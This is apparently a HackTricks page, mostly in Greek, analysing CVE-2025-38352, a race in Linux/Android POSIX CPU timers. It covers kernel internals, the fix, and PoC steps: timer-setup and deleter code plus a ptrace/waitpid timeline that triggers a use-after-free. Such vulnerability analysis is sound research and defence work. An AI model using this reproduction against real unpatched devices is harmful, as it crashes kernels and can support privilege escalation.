POSIX CPU Timers TOCTOU race (CVE-2025-38352)
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Ελέγξτε τα σχέδια συνδρομής!
- Εγγραφείτε στην 💬 ομάδα Discord ή στην ομάδα telegram ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Αυτή η σελίδα τεκμηριώνει μια TOCTOU race condition σε Linux/Android POSIX CPU timers που μπορεί να αλλοιώσει την κατάσταση του timer και να προκαλέσει crash στον kernel, και υπό ορισμένες συνθήκες να κατευθυνθεί προς privilege escalation.
- Affected component: kernel/time/posix-cpu-timers.c
- Primitive: expiry vs deletion race under task exit
- Config sensitive: CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n (IRQ-context expiry path)
Σύντομη ανακεφαλαίωση εσωτερικών (relevant for exploitation)
- Three CPU clocks drive accounting for timers via cpu_clock_sample():
- CPUCLOCK_PROF: utime + stime
- CPUCLOCK_VIRT: utime only
- CPUCLOCK_SCHED: task_sched_runtime()
- Timer creation wires a timer to a task/pid and initializes the timerqueue nodes:
static int posix_cpu_timer_create(struct k_itimer *new_timer) {
struct pid *pid;
rcu_read_lock();
pid = pid_for_clock(new_timer->it_clock, false);
if (!pid) { rcu_read_unlock(); return -EINVAL; }
new_timer->kclock = &clock_posix_cpu;
timerqueue_init(&new_timer->it.cpu.node);
new_timer->it.cpu.pid = get_pid(pid);
rcu_read_unlock();
return 0;
}
- Η ενεργοποίηση εισάγει εγγραφές σε per-base timerqueue και μπορεί να ενημερώσει την next-expiry cache:
static void arm_timer(struct k_itimer *timer, struct task_struct *p) {
struct posix_cputimer_base *base = timer_base(timer, p);
struct cpu_timer *ctmr = &timer->it.cpu;
u64 newexp = cpu_timer_getexpires(ctmr);
if (!cpu_timer_enqueue(&base->tqhead, ctmr)) return;
if (newexp < base->nextevt) base->nextevt = newexp;
}
- Η γρήγορη διαδρομή αποφεύγει δαπανηρή επεξεργασία εκτός αν οι αποθηκευμένες λήξεις υποδεικνύουν πιθανή ενεργοποίηση:
static inline bool fastpath_timer_check(struct task_struct *tsk) {
struct posix_cputimers *pct = &tsk->posix_cputimers;
if (!expiry_cache_is_inactive(pct)) {
u64 samples[CPUCLOCK_MAX];
task_sample_cputime(tsk, samples);
if (task_cputimers_expired(samples, pct))
return true;
}
return false;
}
- Η λήξη συλλέγει τους χρονιστές που έχουν λήξει, τους σημειώνει ως ενεργοποιημένους, τους μετακινεί εκτός της ουράς· η πραγματική παράδοση αναβάλλεται:
#define MAX_COLLECTED 20
static u64 collect_timerqueue(struct timerqueue_head *head,
struct list_head *firing, u64 now) {
struct timerqueue_node *next; int i = 0;
while ((next = timerqueue_getnext(head))) {
struct cpu_timer *ctmr = container_of(next, struct cpu_timer, node);
u64 expires = cpu_timer_getexpires(ctmr);
if (++i == MAX_COLLECTED || now < expires) return expires;
ctmr->firing = 1; // critical state
rcu_assign_pointer(ctmr->handling, current);
cpu_timer_dequeue(ctmr);
list_add_tail(&ctmr->elist, firing);
}
return U64_MAX;
}
Δύο τρόποι επεξεργασίας λήξης
- CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y: η λήξη αναβάλλεται μέσω task_work στο στοχευόμενο task
- CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n: η λήξη χειρίζεται απευθείας στο πλαίσιο IRQ
Task_work vs IRQ διαδρομές λήξης
```c void run_posix_cpu_timers(void) { struct task_struct *tsk = current; __run_posix_cpu_timers(tsk); } #ifdef CONFIG_POSIX_CPU_TIMERS_TASK_WORK static inline void __run_posix_cpu_timers(struct task_struct *tsk) { if (WARN_ON_ONCE(tsk->posix_cputimers_work.scheduled)) return; tsk->posix_cputimers_work.scheduled = true; task_work_add(tsk, &tsk->posix_cputimers_work.work, TWA_RESUME); } #else static inline void __run_posix_cpu_timers(struct task_struct *tsk) { lockdep_posixtimer_enter(); handle_posix_cpu_timers(tsk); // IRQ-context path lockdep_posixtimer_exit(); } #endif ```Στη διαδρομή IRQ-context, η firing list επεξεργάζεται έξω από το sighand
IRQ-context βρόχος παράδοσης
```c static void handle_posix_cpu_timers(struct task_struct *tsk) { struct k_itimer *timer, *next; unsigned long flags, start; LIST_HEAD(firing); if (!lock_task_sighand(tsk, &flags)) return; // may fail on exit do { start = READ_ONCE(jiffies); barrier(); check_thread_timers(tsk, &firing); check_process_timers(tsk, &firing); } while (!posix_cpu_timers_enable_work(tsk, start)); unlock_task_sighand(tsk, &flags); // race window opens here list_for_each_entry_safe(timer, next, &firing, it.cpu.elist) { int cpu_firing; spin_lock(&timer->it_lock); list_del_init(&timer->it.cpu.elist); cpu_firing = timer->it.cpu.firing; // read then reset timer->it.cpu.firing = 0; if (likely(cpu_firing >= 0)) cpu_timer_fire(timer); rcu_assign_pointer(timer->it.cpu.handling, NULL); spin_unlock(&timer->it_lock); } } ```Root cause: TOCTOU μεταξύ της λήξης κατά το IRQ και ταυτόχρονης διαγραφής κατά την έξοδο της διεργασίας Preconditions
- CONFIG_POSIX_CPU_TIMERS_TASK_WORK is disabled (η IRQ διαδρομή χρησιμοποιείται)
- Η στοχευόμενη διεργασία εξέρχεται αλλά δεν έχει ανακτηθεί πλήρως
- Ένα άλλο νήμα ταυτόχρονα καλεί posix_cpu_timer_del() για τον ίδιο timer
Sequence
- update_process_times() triggers run_posix_cpu_timers() σε πλαίσιο IRQ για την εξερχόμενη διεργασία.
- collect_timerqueue() θέτει ctmr->firing = 1 και μετακινεί τον timer στη προσωρινή λίστα firing.
- handle_posix_cpu_timers() απελευθερώνει το sighand μέσω unlock_task_sighand() για να παραδώσει timers έξω από το κλείδωμα.
- Αμέσως μετά το unlock, η εξερχόμενη διεργασία μπορεί να ανακτηθεί; ένα αδελφό νήμα εκτελεί posix_cpu_timer_del().
- Σε αυτό το διάστημα, posix_cpu_timer_del() μπορεί να αποτύχει να αποκτήσει state μέσω cpu_timer_task_rcu()/lock_task_sighand() και έτσι να παραλείψει την κανονική in-flight προστασία που ελέγχει timer->it.cpu.firing. Η διαγραφή προχωρά σαν να μην firing, διαφθείροντας την κατάσταση ενώ η λήξη χειρίζεται, οδηγώντας σε crashes/UB.
How release_task() and timer_delete() free firing timers
Ακόμη και αφού handle_posix_cpu_timers() έχει αφαιρέσει τον timer από τη λίστα της διεργασίας, ένα ptraced zombie μπορεί ακόμα να ανακτηθεί. Η στοίβα waitpid() οδηγεί σε release_task() → __exit_signal(), που καταστρέφει το sighand και τις ουρές σημάτων ενώ ένας άλλος CPU εξακολουθεί να κρατά δείκτες στο αντικείμενο timer:
static void __exit_signal(struct task_struct *tsk)
{
struct sighand_struct *sighand = lock_task_sighand(tsk, NULL);
// ... signal cleanup elided ...
tsk->sighand = NULL; // makes future lock_task_sighand() fail
unlock_task_sighand(tsk, NULL);
}
Με το sighand αποσυνδεδεμένο, το timer_delete() εξακολουθεί να επιστρέφει επιτυχία επειδή το posix_cpu_timer_del() αφήνει ret = 0 όταν το κλείδωμα αποτυγχάνει, οπότε το syscall προχωράει στην απελευθέρωση του αντικειμένου μέσω RCU:
static int posix_cpu_timer_del(struct k_itimer *timer)
{
struct sighand_struct *sighand = lock_task_sighand(p, &flags);
if (unlikely(!sighand))
goto out; // ret stays 0 -> userland sees success
// ... normal unlink path ...
}
SYSCALL_DEFINE1(timer_delete, timer_t, timer_id)
{
if (timer_delete_hook(timer) == TIMER_RETRY)
timer = timer_wait_running(timer, &flags);
posix_timer_unhash_and_free(timer); // call_rcu(k_itimer_rcu_free)
return 0;
}
Επειδή το slab object είναι RCU-freed ενώ το IRQ context εξακολουθεί να διασχίζει τη λίστα firing, η επαναχρησιμοποίηση της timer cache γίνεται ένα UAF primitive.
Κατεύθυνση του reaping με ptrace + waitpid
Ο ευκολότερος τρόπος να κρατήσεις ένα zombie χωρίς να αυτο-απομακρυνθεί είναι να ptrace ένα non-leader worker thread. Η exit_notify() αρχικά θέτει exit_state = EXIT_ZOMBIE και κάνει μετάβαση σε EXIT_DEAD μόνο αν το autoreap είναι true. Για ptraced threads, autoreap = do_notify_parent() παραμένει false όσο το SIGCHLD δεν αγνοείται, οπότε η release_task() εκτελείται μόνο όταν ο parent ρητά καλεί waitpid():
- Χρησιμοποίησε pthread_create() μέσα στο tracee ώστε το θύμα να μην είναι thread-group leader (wait_task_zombie() χειρίζεται ptraced non-leaders).
- Ο parent εκτελεί
ptrace(PTRACE_ATTACH, tid)και αργότεραwaitpid(tid, __WALL)για να οδηγήσει do_wait_pid() → wait_task_zombie() → release_task(). - Pipes ή shared memory μεταφέρουν το ακριβές TID στον parent ώστε ο σωστός worker να απομακρυνθεί κατά απαίτηση.
Αυτό το χορογράφημα εγγυάται ένα παράθυρο όπου handle_posix_cpu_timers() μπορεί ακόμη να αναφέρεται σε tsk->sighand, ενώ μια επακόλουθη waitpid() την καταργεί και επιτρέπει στην timer_delete() να ανακτήσει το ίδιο k_itimer object.
Γιατί το TASK_WORK mode είναι ασφαλές εκ σχεδιασμού
- Με CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y, η λήξη αναβάλλεται σε task_work; exit_task_work τρέχει πριν το exit_notify, οπότε η επικάλυψη του χρόνου IRQ με το reaping δεν συμβαίνει.
- Ακόμη και τότε, αν το task ήδη εξέρχεται, το task_work_add() αποτυγχάνει; ο έλεγχος με βάση το exit_state κάνει και τις δύο λειτουργίες συνεπείς.
Fix (Android common kernel) και αιτιολόγηση
- Πρόσθεσε μια πρόωρη επιστροφή αν το current task εξέρχεται, περιορίζοντας όλη την επεξεργασία:
// kernel/time/posix-cpu-timers.c (Android common kernel commit 157f357d50b5038e5eaad0b2b438f923ac40afeb)
if (tsk->exit_state)
return;
- Αυτό αποτρέπει την είσοδο σε handle_posix_cpu_timers() για exiting tasks, εξαλείφοντας το παράθυρο όπου posix_cpu_timer_del() θα μπορούσε να το χάσει cpu.firing και να ανταγωνιστεί με την επεξεργασία λήξης.
Impact
- Η διαφθορά μνήμης του kernel των δομών timer κατά τη διάρκεια ταυτόχρονης λήξης/διαγραφής μπορεί να προκαλέσει άμεσες καταρρεύσεις (DoS) και αποτελεί ισχυρό εργαλείο για ανύψωση προνομίων λόγω ευκαιριών για αυθαίρετη χειραγώγηση της κατάστασης του kernel.
Triggering the bug (safe, reproducible conditions) Build/config
- Βεβαιωθείτε ότι CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n και χρησιμοποιήστε έναν kernel χωρίς το exit_state gating fix. Σε x86/arm64 η επιλογή συνήθως επιβάλλεται μέσω HAVE_POSIX_CPU_TIMERS_TASK_WORK, οπότε οι researchers συχνά patch-άρουν το
kernel/time/Kconfigγια να εκθέσουν έναν χειροκίνητο διακόπτη:
config POSIX_CPU_TIMERS_TASK_WORK
bool "CVE-2025-38352: POSIX CPU timers task_work toggle" if EXPERT
depends on POSIX_TIMERS && HAVE_POSIX_CPU_TIMERS_TASK_WORK
default y
Αυτό αντικατοπτρίζει ό,τι έκαναν οι κατασκευαστές Android για τις εκδόσεις ανάλυσης· οι upstream x86_64 και arm64 επιβάλλουν HAVE_POSIX_CPU_TIMERS_TASK_WORK=y, οπότε το ευάλωτο IRQ path υπάρχει κυρίως στους 32-bit Android kernels όπου η επιλογή έχει αποκλειστεί κατά τη μεταγλώττιση.
- Run on a multi-core VM (e.g., QEMU
-smp cores=4) so parent, child main, and worker threads can stay pinned to dedicated CPUs.
Runtime strategy
- Στοχεύστε ένα thread που πρόκειται να τερματίσει και προσαρτήστε ένα CPU timer σ’ αυτό (per-thread ή process-wide clock):
- For per-thread: timer_create(CLOCK_THREAD_CPUTIME_ID, …)
- For process-wide: timer_create(CLOCK_PROCESS_CPUTIME_ID, …)
- Οπλίστε με πολύ σύντομη αρχική λήξη και μικρό διάστημα ώστε να μεγιστοποιηθούν οι εισόδοι στο IRQ-path:
static timer_t t;
static void setup_cpu_timer(void) {
struct sigevent sev = {0};
sev.sigev_notify = SIGEV_SIGNAL; // delivery type not critical for the race
sev.sigev_signo = SIGUSR1;
if (timer_create(CLOCK_THREAD_CPUTIME_ID, &sev, &t)) perror("timer_create");
struct itimerspec its = {0};
its.it_value.tv_nsec = 1; // fire ASAP
its.it_interval.tv_nsec = 1; // re-fire
if (timer_settime(t, 0, &its, NULL)) perror("timer_settime");
}
- Από ένα αδελφό νήμα, διαγράψτε ταυτόχρονα τον ίδιο χρονοδιακόπτη ενώ το στοχευόμενο νήμα τερματίζει:
void *deleter(void *arg) {
for (;;) (void)timer_delete(t); // hammer delete in a loop
}
- Race amplifiers: υψηλός ρυθμός tick του scheduler, φόρτος CPU, επαναλαμβανόμενοι κύκλοι εξόδου/επανδημιουργίας thread. Η κατάρρευση συνήθως εμφανίζεται όταν η posix_cpu_timer_del() παραλείπει να εντοπίσει την πυροδότηση επειδή η αναζήτηση/κλείδωμα του task αποτυγχάνει αμέσως μετά το unlock_task_sighand().
Practical PoC orchestration
Thread & IPC choreography
Ένας αξιόπιστος reproducer κάνει fork σε έναν ptracing parent και σε ένα child που δημιουργεί το ευάλωτο worker thread. Δύο pipes (c2p, p2c) μεταφέρουν το TID του worker και ρυθμίζουν κάθε φάση, ενώ ένα pthread_barrier_t αποτρέπει το worker από το να οπλίσει το timer του μέχρι ο parent να έχει attached. Κάθε process ή thread δεσμεύεται με sched_setaffinity() (π.χ., parent στο CPU1, child main στο CPU0, worker στο CPU2) για να ελαχιστοποιηθεί ο θόρυβος του scheduler και να διατηρηθεί η αναπαραγωγιμότητα του race.
Timer calibration with CLOCK_THREAD_CPUTIME_ID
Το worker οπλίζει έναν per-thread CPU timer ώστε μόνο η δική του κατανάλωση CPU να προωθεί την προθεσμία. Ένα ρυθμιζόμενο wait_time (προεπιλογή ≈250 µs CPU time) μαζί με έναν περιορισμένο busy loop εξασφαλίζουν ότι η exit_notify() θα θέσει EXIT_ZOMBIE ενώ ο timer είναι έτοιμος να πυροδοτηθεί:
Ελάχιστος σκελετός per-thread CPU timer
```c static timer_t timer; static long wait_time = 250000; // nanoseconds of CPU timestatic void timer_fire(sigval_t unused) { puts(“timer fired”); }
static void *worker(void *arg) { struct sigevent sev = {0}; sev.sigev_notify = SIGEV_THREAD; sev.sigev_notify_function = timer_fire; timer_create(CLOCK_THREAD_CPUTIME_ID, &sev, &timer);
struct itimerspec ts = { .it_interval = {0, 0}, .it_value = {0, wait_time}, };
pthread_barrier_wait(&barrier); // released by child main after ptrace attach timer_settime(timer, 0, &ts, NULL);
for (volatile int i = 0; i < 1000000; i++); // burn CPU before exiting return NULL; // do_exit() keeps burning CPU }
</details>
#### Χρονοδιάγραμμα της συνθήκης ανταγωνισμού
1. Το παιδί λέει στον γονέα το worker TID μέσω `c2p`, και μετά μπλοκάρει στο barrier.
2. Ο γονέας κάνει `PTRACE_ATTACH`, περιμένει με `waitpid(__WALL)`, και μετά `PTRACE_CONT` για να αφήσει τον worker να τρέξει και να τερματίσει.
3. Όταν οι ευριστικές (ή χειροκίνητη εισαγωγή από τον χειριστή) υποδεικνύουν ότι το timer συλλέχθηκε στη λίστα `firing` στην πλευρά του IRQ, ο γονέας καλεί ξανά `waitpid(tid, __WALL)` για να ενεργοποιήσει την release_task() και να απελευθερώσει το `tsk->sighand`.
4. Ο γονέας στέλνει σήμα στο παιδί μέσω `p2c` έτσι ώστε το main του παιδιού να καλέσει `timer_delete(timer)` και αμέσως να τρέξει έναν βοηθητικό όπως `wait_for_rcu()` μέχρι να ολοκληρωθεί το RCU callback του timer.
5. Το πλαίσιο IRQ τελικά συνεχίζει το `handle_posix_cpu_timers()` και αποαναφέρεται το απελευθερωμένο `struct k_itimer`, προκαλώντας KASAN ή WARN_ON()s.
#### Προαιρετική παρακολούθηση του πυρήνα
Για ρυθμίσεις έρευνας, η έγχυση ενός debug-only `mdelay(500)` μέσα στο handle_posix_cpu_timers() όταν `tsk->comm == "SLOWME"` διευρύνει το παράθυρο έτσι ώστε η παραπάνω χορογραφία σχεδόν πάντα να κερδίζει την συνθήκη race. Το ίδιο PoC επίσης μετονομάζει νήματα (`prctl(PR_SET_NAME, ...)`) ώστε τα kernel logs και τα breakpoints να επιβεβαιώνουν ότι ο αναμενόμενος worker είναι αυτός που συλλέγεται.
### Ένδειξεις ενδοσκόπησης κατά την εκμετάλλευση
- Προσθέστε tracepoints/WARN_ONCE γύρω από unlock_task_sighand()/posix_cpu_timer_del() για να εντοπίσετε περιπτώσεις όπου `it.cpu.firing==1` συμπίπτει με αποτυχημένο cpu_timer_task_rcu()/lock_task_sighand(); παρακολουθήστε την συνέπεια του timerqueue όταν το θύμα τερματίζει.
- Το KASAN συνήθως αναφέρει `slab-use-after-free` μέσα στο posix_timer_queue_signal(), ενώ kernels χωρίς KASAN καταγράφουν WARN_ON_ONCE() από send_sigqueue() όταν η συνθήκη πετυχαίνει, παρέχοντας γρήγορο δείκτη επιτυχίας.
Σημεία προς έλεγχο (για αναθεωρητές)
- update_process_times() → run_posix_cpu_timers() (IRQ)
- __run_posix_cpu_timers() επιλογή (TASK_WORK vs IRQ path)
- collect_timerqueue(): ορίζει ctmr->firing και μετακινεί κόμβους
- handle_posix_cpu_timers(): απελευθερώνει το sighand πριν το firing loop
- posix_cpu_timer_del(): βασίζεται σε it.cpu.firing για να ανιχνεύσει σε-πτήση λήξη; αυτός ο έλεγχος παρακάμπτεται όταν η αναζήτηση/κλείδωμα task αποτυγχάνει κατά το exit/reap
Σημειώσεις για έρευνα εκμετάλλευσης
- Η αποκαλυφθείσα συμπεριφορά είναι ένα αξιόπιστο primitive για kernel crash· η μετατροπή του σε privilege escalation συνήθως χρειάζεται μια επιπλέον ελεγχόμενη επικαλυπτόμενη κατάσταση (διάρκεια ζωής αντικειμένου ή write-what-where επιρροή) πέραν του πεδίου αυτής της περίληψης. Θεωρήστε κάθε PoC ως δυνητικά ασταθές και τρέξτε το μόνο σε emulators/VMs.
## References
- [Race Against Time in the Kernel’s Clockwork (StreyPaws)](https://streypaws.github.io/posts/Race-Against-Time-in-the-Kernel-Clockwork/)
- [Android security bulletin – September 2025](https://source.android.com/docs/security/bulletin/2025-09-01)
- [Android common kernel patch commit 157f357d50b5…](https://android.googlesource.com/kernel/common/+/157f357d50b5038e5eaad0b2b438f923ac40afeb%5E%21/#F0)
- [CVE-2025-38352 – In-the-wild Android Kernel Vulnerability Analysis and PoC](https://faith2dxy.xyz/2025-12-22/cve_2025_38352_analysis/)
- [poc-CVE-2025-38352 (GitHub)](https://github.com/farazsth98/poc-CVE-2025-38352)
- [Linux stable fix commit f90fff1e152d](https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git/commit/?id=f90fff1e152dedf52b932240ebbd670d83330eca)
> [!TIP]
> Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
> Μάθετε & εξασκηθείτε στο Azure Hacking: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://training.hacktricks.xyz/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>Υποστηρίξτε το HackTricks</summary>
>
> - Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
> - **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
>
> </details>


